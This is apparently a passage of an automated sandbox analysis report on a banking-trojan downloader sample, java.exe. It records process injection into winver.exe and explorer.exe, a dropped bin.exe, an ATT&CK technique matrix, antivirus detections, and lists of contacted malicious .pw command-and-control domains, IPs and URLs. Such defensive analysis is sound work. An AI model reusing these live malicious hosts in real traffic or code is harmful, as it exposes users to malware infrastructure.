Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: E30000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: A60000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 29B0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 540000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B70000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: EE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 740000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe base: 1C0000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe base: 1C0000	Jump to behavior

Source: C:\Users\user\Desktop\java.exe

Process created: C:\Windows\SysWOW64\winver.exe winver

Jump to behavior

Source: winver.exe, 00000002.00000002.2882940038.0000000002EEC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: tShell_TrayWndv&!&
Source: java.exe, 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2912374874.0000000001340000.00000040.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000002.2928191346.00000000018A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1632657325.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000004.00000000.1712559103.000001CD41220000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.1632391026.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2905026359.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000003.00000002.2928191346.00000000018A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1632657325.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000004.00000000.1712559103.000001CD41220000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: winver.exe, 00000002.00000002.2882940038.0000000002EEC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: tShell_TrayWnd
Source: explorer.exe, 00000003.00000002.2928191346.00000000018A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1632657325.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000004.00000000.1712559103.000001CD41220000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\java.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133502574394086727.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Exploitation for Client Execution	11 Registry Run Keys / Startup Folder	512 Process Injection	3 Rootkit	1 Credential API Hooking	211 Security Software Discovery	Remote Services	1 Credential API Hooking	Exfiltration Over Other Network Medium	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	11 Registry Run Keys / Startup Folder	1 Masquerading	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	11 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	512 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	13 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Hidden Files and Directories	Cached Domain Credentials	111 System Information Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
java.exe	89%	ReversingLabs	Win32.Downloader.TinyBanker
java.exe	90%	Virustotal		Browse
java.exe	100%	Avira	HEUR/AGEN.1322420
java.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	100%	Avira	HEUR/AGEN.1322420
C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
vcklmnnejwxx.pw	14%	Virustotal	Browse
uyhgqunqkxnx.pw	13%	Virustotal	Browse
mfueeimvyrsp.pw	18%	Virustotal	Browse
cmnsgscccrej.pw	13%	Virustotal	Browse
utmyhnffxpcj.pw	18%	Virustotal	Browse
spaines.pw	15%	Virustotal	Browse
fkmmvfeonnyh.pw	18%	Virustotal	Browse
gfnlmtcolrrb.pw	13%	Virustotal	Browse
evbsdqvgmpph.pw	16%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://aefd.nelreports.net/api/report?cat=bingaotak	0%	URL Reputation	safe
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://aefd.nelreports.net/api/report?cat=bingrms	0%	URL Reputation	safe
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://login.windows.local	0%	URL Reputation	safe
https://aefd.nelreports.net/api/report?cat=wsb	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe
http://uyhgqunqkxnx.pw/EiDQjNbWEQ/	13%	Virustotal		Browse
http://spaines.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
http://uyhgqunqkxnx.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://www.ng.com	0%	Avira URL Cloud	safe
http://evbsdqvgmpph.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://powerpoint.office.comxee	0%	Avira URL Cloud	safe
http://cmnsgscccrej.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
http://cmnsgscccrej.pw/EiDQjNbWEQ/	17%	Virustotal		Browse
https://unitedstates4.ss.wd.microsoft.us	0%	Avira URL Cloud	safe
http://mfueeimvyrsp.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://unitedstates2.ss.wd.microsoft.us	0%	Avira URL Cloud	safe
http://evbsdqvgmpph.pw/EiDQjNbWEQ/	15%	Virustotal		Browse
https://unitedstates1.ss.wd.microsoft.us	0%	Avira URL Cloud	safe
https://searchapp.bundleassets.example/desktop/2.html	0%	Avira URL Cloud	safe
https://assets.activity.windows.comer	0%	Avira URL Cloud	safe
https://unitedstates2.ss.wd.microsoft.us	0%	Virustotal		Browse
https://assets.activity.windows.coms	0%	Avira URL Cloud	safe
http://mfueeimvyrsp.pw/EiDQjNbWEQ/	9%	Virustotal		Browse
https://activity.windows.comt	0%	Avira URL Cloud	safe
https://unitedstates1.ss.wd.microsoft.us	1%	Virustotal		Browse
http://spaines.pw/EiDQjNbWEQ/	12%	Virustotal		Browse
https://login.windows.local/	0%	Avira URL Cloud	safe
http://gfnlmtcolrrb.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
http://vcklmnnejwxx.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://unitedstates4.ss.wd.microsoft.us	1%	Virustotal		Browse
http://fkmmvfeonnyh.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://excel.office.comcp	0%	Avira URL Cloud	safe
http://gfnlmtcolrrb.pw/EiDQjNbWEQ/	15%	Virustotal		Browse
http://fkmmvfeonnyh.pw/EiDQjNbWEQ/	17%	Virustotal		Browse
http://vcklmnnejwxx.pw/EiDQjNbWEQ/	12%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
vcklmnnejwxx.pw	216.218.185.162	true	true	14%, Virustotal, Browse	unknown
uyhgqunqkxnx.pw	178.62.201.34	true	true	13%, Virustotal, Browse	unknown
mfueeimvyrsp.pw	216.218.185.162	true	true	18%, Virustotal, Browse	unknown
spaines.pw	216.218.185.162	true	true	15%, Virustotal, Browse	unknown
cmnsgscccrej.pw	216.218.185.162	true	true	13%, Virustotal, Browse	unknown
evbsdqvgmpph.pw	216.218.185.162	true	true	16%, Virustotal, Browse	unknown
utmyhnffxpcj.pw	216.218.185.162	true	true	18%, Virustotal, Browse	unknown
gfnlmtcolrrb.pw	216.218.185.162	true	true	13%, Virustotal, Browse	unknown
fkmmvfeonnyh.pw	216.218.185.162	true	true	18%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://evbsdqvgmpph.pw/EiDQjNbWEQ/	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://uyhgqunqkxnx.pw/EiDQjNbWEQ/	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://spaines.pw/EiDQjNbWEQ/	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://cmnsgscccrej.pw/EiDQjNbWEQ/	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://mfueeimvyrsp.pw/EiDQjNbWEQ/	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://gfnlmtcolrrb.pw/EiDQjNbWEQ/	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://vcklmnnejwxx.pw/EiDQjNbWEQ/	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://fkmmvfeonnyh.pw/EiDQjNbWEQ/	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000003.00000000.1634162143.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2985052008.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.activity.windows.com/v1/assets	svchost.exe, 00000005.00000000.1715061141.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000003.00000002.3031801494.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqs	SearchApp.exe, 0000000B.00000000.1797450893.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingaotak	SearchApp.exe, 0000000B.00000000.1771194064.0000024B423E8000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1755590053.0000024340029000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://excel.office.com	explorer.exe, 00000003.00000000.1638855988.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3059382822.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.office.com/M365.Access	SearchApp.exe, 0000000B.00000000.1805286472.0000024B447CF000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000003.00000002.2985052008.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000003.00000000.1638855988.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3059382822.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false		high
https://substrate.office.com/SubstrateSearch-Internal.ReadWriteO	SearchApp.exe, 0000000B.00000000.1829269370.0000024B55259000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/L	explorer.exe, 00000003.00000002.3059382822.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1638855988.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		high
https://word.office.com	explorer.exe, 00000003.00000000.1638855988.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3059382822.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2905023866.000001B98144E000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000000.1728659205.000001B98144E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000003.00000002.2985052008.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/finance?OCID=WSB_TL_FN&PC=wsbmsnqs	SearchApp.exe, 0000000B.00000000.1829269370.0000024B55240000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1797450893.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000005.00000002.2919603174.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715089541.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://outlook.com	StartMenuExperienceHost.exe, 00000009.00000002.2911384205.000001B9814D0000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000000.1728745445.000001B9814D0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.net/	svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://substrate.office.com/search/api/v1/events?scenario=	SearchApp.exe, 0000000B.00000000.1829269370.0000024B55259000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://android.notify.windows.com/iOS	explorer.exe, 00000003.00000000.1638855988.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3059382822.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.office.com/User.ReadWriteK	SearchApp.exe, 0000000B.00000000.1763641682.0000024B41B40000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingrms	SearchApp.exe, 0000000B.00000000.1767315960.0000024B41F45000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000003.00000002.2985052008.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://powerpoint.office.comxee	StartMenuExperienceHost.exe, 00000009.00000002.2905023866.000001B98144E000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000000.1728659205.000001B98144E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.com_	explorer.exe, 00000003.00000000.1638855988.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3059382822.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://fb.me/react-polyfillsThis	SearchApp.exe, 0000000B.00000000.1808464287.0000024B44916000.00000004.00000001.00020000.00000000.sdmp	false		high
https://xsts.auth.xboxlive.com/	svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.net	svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1771563723.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com/shell	SearchApp.exe, 0000000B.00000000.1752124326.0000024339C00000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000003.00000000.1634162143.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.comcember	explorer.exe, 00000003.00000000.1638855988.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3059382822.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xsts.auth.xboxlive.com	svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1771563723.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 00000003.00000002.3045067363.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1635099926.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000002.3023688229.0000000008720000.00000002.00000001.00040000.00000000.sdmp, RuntimeBroker.exe, 0000000A.00000002.2963352033.000001ECFC470000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbmsnqs	SearchApp.exe, 0000000B.00000000.1797450893.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://msit.loki.delve.office.com/apiQ	SearchApp.exe, 0000000B.00000000.1769589682.0000024B4218C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.local	svchost.exe, 00000005.00000000.1715119977.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2921088315.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://substrate.office.com/M365.Access	SearchApp.exe, 0000000B.00000000.1763641682.0000024B41B40000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.ng.com	SearchApp.exe, 0000000B.00000000.1771563723.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/weather?OCID=WSB_QS_WE&PC=wsbmsnqs	SearchApp.exe, 0000000B.00000000.1829269370.0000024B55240000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1797450893.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/q	explorer.exe, 00000003.00000002.3031801494.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.cn/shellRESP	SearchApp.exe, 0000000B.00000000.1752124326.0000024339C00000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://gcc.loki.delve.office.com/api	SearchApp.exe, 0000000B.00000000.1769491887.0000024B42180000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
